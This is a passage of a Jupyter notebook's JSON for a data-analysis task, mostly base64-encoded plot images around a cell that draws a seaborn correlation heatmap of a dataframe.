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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "import matplotlib.pyplot as plt\n", - "import seaborn as sns\n", - "sns.heatmap(df.corr(),annot=True,cmap = 'YlGnBu')" - ] - }, - { - "cell_type": "code", - "execution_count": 92, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 92, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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